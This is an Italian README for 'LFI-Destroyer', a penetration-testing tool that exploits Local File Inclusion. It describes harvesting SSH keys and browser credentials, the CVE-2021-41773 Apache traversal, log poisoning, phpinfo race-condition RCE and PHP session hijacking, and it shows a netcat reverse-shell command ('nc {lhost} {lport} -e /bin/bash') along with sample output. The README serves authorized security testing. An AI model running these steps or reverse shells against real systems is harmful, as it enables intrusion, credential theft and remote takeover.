
Questo programma ti chiede le informazioni per il Local File Inclusion e cercherà automaticamente il file /etc/passwd; utilizzando i nomi utente trovati, cercherà e scaricherà qualsiasi chiave SSH o variazione di chiavi sul computer locale. Questo programma esegue anche l'exploit di traversal path CVE-2021-41773 per Apache 2.4.49 e 2.4.50. In aggiunta ad altre vulnerabilità LFI.
🔥 LFI-Destruction – Framework per Penetration Testing Autorizzato LFI-Destroyer è un framework completo e modulare per lo sfruttamento di Local File Inclusion (LFI) progettato per professionisti della sicurezza autorizzati. Combina molteplici tecniche di attacco in un unico strumento facile da usare:
file_uploads=On e phpinfo() è accessibile.LFI-OSCP.py È la versione sicura per l'esame OSCP, con 0 exploit automatici. È sostanzialmente un fuzzer molto carino che, una volta confermato l'exploit, stampa istruzioni manuali su come eseguirlo.
⚠️ DISCLAIMER LEGALE Questo strumento è solo per scopi educativi e test di sicurezza autorizzati. Devi ottenere un permesso scritto esplicito dal proprietario del sistema prima di usarlo. L'accesso non autorizzato a sistemi informatici è illegale e non etico. L'autore declina ogni responsabilità per qualsiasi uso improprio o danno causato da questo strumento.
📦 Installazione
# 1. Clone the repository
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. Install dependencies (only colorama is required; others are optional)
pip install colorama
# 3. Make the main script executable
chmod +x LFI-Destroyer.py
🚀 Avvio Rapido – Modalità 1 (Fuzzing di artefatti SSH e browser)
python3 LFI-Destroyer.py
Seleziona Linux o Windows.
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
Scegli la modalità di attacco 1.
Segui i prompt per configurare il tuo endpoint LFI.
Lo script enumererà automaticamente gli utenti, verificherà l'esistenza (Windows usa il beacon NTUSER.DAT) e farà fuzzing ricorsivo per chiavi SSH, credenziali del browser e altri file sensibili.
Tutti gli artefatti vengono salvati nella directory ./artifacts/.
📝 Modalità 2 – Log Poisoning & Reverse Shell
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
Oppure esegui in modo interattivo e seleziona la modalità 2.
Cosa succede:
system($_GET['cmd']).id (Linux) o whoami (Windows).bash (Linux) o PowerShell (Windows).Reverse shell personalizzata:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
I placeholder {lhost} e {lport} verranno sostituiti con il tuo IP/porta del listener.
🧪 BETA – Modalità 3: phpinfo() Race Condition RCE
Stato: Beta – Funziona in modo affidabile su server PHP mal configurati con file_uploads=On e phpinfo() accessibile.
Prerequisiti:
file_uploads = On (rilevato automaticamente)post_max_size ≥ upload_max_filesize (rilevato automaticamente)phpinfo() (lo script forza brute nei percorsi comuni)Esecuzione:
python3 LFI-Destroyer.py
# Seleziona la modalità 3
Fornisci i dettagli LFI come al solito
Lo script:
- Effettuerà brute force su phpinfo() (wordlist specifica per OS)
- Analizzerà upload_max_filesize e post_max_size
- Eseguirà l'attacco race condition (upload + LFI)
- Confermerà RCE
- Offrirà reverse shell
Esempio di output:
[*] Bruteforcing phpinfo.php (45 paths) ...
[+] Found phpinfo.php at http://192.168.1.100/phpinfo.php
[+] file_uploads=On (max size: 8M)
[+] Attempt race condition RCE? (y/N): y
[*] Race attempt 1/3 ...
[+] Extracted temporary file path: /tmp/phpABC123
[+] RCE confirmed via temporary file!
[!] LOG POISONING SUCCESSFUL! Ready to escalate to reverse shell.
🧪 BETA – Modalità 4: Trigger su file caricato Stato: Beta – Presuppone che tu abbia già caricato una shell PHP (ad esempio tramite un'altra vulnerabilità o upload manuale). Lo script usa quindi LFI per includerla ed eseguire comandi.
Due modalità operative:
uploads/shell.php).Esecuzione:
python3 LFI-Destroyer.py
# Seleziona la modalità 4
Inserisci il percorso o 'brute'
Lo script:
- Proverà l'inclusione LFI con `?cmd=whoami`
- Se ha successo, mostrerà l'output e offrirà una reverse shell
Esempio:
Enter path to uploaded file (relative to web root), or 'brute' to try common locations: uploads/shell.php
[*] Trying uploads/shell.php ...
[+] SUCCESS! Shell executed at uploads/shell.php
[+] Command output:
www-data
Attempt reverse shell? (y/N): y
🧪 BETA – Modalità 5: Enumerazione e Hijacking delle Sessioni PHP
Stato: Beta – Legge i file di sessione da session.save_path (determinato tramite phpinfo() o wordlist di fallback), li salva e tenta la decodifica base64 quando necessario.
Esecuzione:
python3 LFI-Destroyer.py
# Seleziona la modalità 5
Fornisci l'ID di sessione o 'list' per enumerare
Esempi:
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: abc123
[*] Reading /var/lib/php/sessions/sess_abc123 ...
[+] Session file retrieved!
[--- SESSION DATA (raw) ---]
username|s:5:"admin";user_id|i:1;
Elenca le sessioni (se l'indicizzazione delle directory è abilitata):
Enter session ID to retrieve (PHPSESSID), or 'list' to enumerate: list
[+] Found 12 session files:
- sess_abc123
- sess_def456
...
Tutti i file di sessione vengono salvati in artifacts/session_*.
Se i dati appaiono codificati in base64, lo script tenta automaticamente il bypass php://filter/convert.base64-decode e salva una versione decodificata.
🧠 Modalità Avanzata (-adv) Abilita tecniche LFI aggiuntive:
php://filter, data://, expect://)python3 LFI-Destroyer.py -adv
⚙️ Flag da Riga di Comando
Le modalità 3, 4 e 5 vengono caricate dinamicamente dalla directory modes/.
Puoi facilmente aggiungere nuove modalità inserendo un file Python con una funzione run(config, fuzzer).
🧰 Requisiti
colorama (opzionale, per output colorato)📜 Licenza e Autore Scritto da RevShellXD Concesso in licenza MIT – gratuito per professionisti della sicurezza autorizzati. Solo per scopi educativi e test autorizzati. Se infrangi la legge con questo strumento, ne sei l'unico responsabile.
⭐ Stella e Contribuisci
Se trovi utile questo strumento, ti preghiamo di mettere una stella al repository su GitHub.
Pull request e contributi di nuove modalità sono benvenuti – segui la semplice interfaccia del modulo in modes/__init__.py.
| Flag | Descrizione |
|---|
--os {linux,windows} | Forza il sistema operativo di destinazione |
--auto-depth | Rileva automaticamente la profondità di attraversamento |
--wordlist FILE | Wordlist personalizzata per percorsi file (sostituisce i default del sistema operativo) |
--userlist FILE | Nomi utente Windows personalizzati (modalità 1) |
--beacon-file PATH | File beacon personalizzato (default: NTUSER.DAT) |
--custom-shell CMD | Comando reverse shell personalizzato (usa {lhost} e {lport}) |
--log-poisoning | Abilita modalità 2 da riga di comando (nessuna selezione interattiva) |
--log-vector {ua,referer,xff,header,param} | Vettore di iniezione per log poisoning |
--log-header NAME | Nome header personalizzato (per vector=header) |
--log-param NAME | Nome parametro personalizzato (per vector=param) |
--log-files FILE | Elenco personalizzato di percorsi log |
--rce-command CMD | Comando di test per verifica RCE |
--proxy URL | Proxy HTTP (es. http://127.0.0.1:8080) |
--rate FLOAT | Ritardo tra le richieste (secondi) |
--output FILE | Salva risultati in JSON |
--dry-run | Configurazione di test – nessuna richiesta inviata |
--no-color | Disabilita output colorato |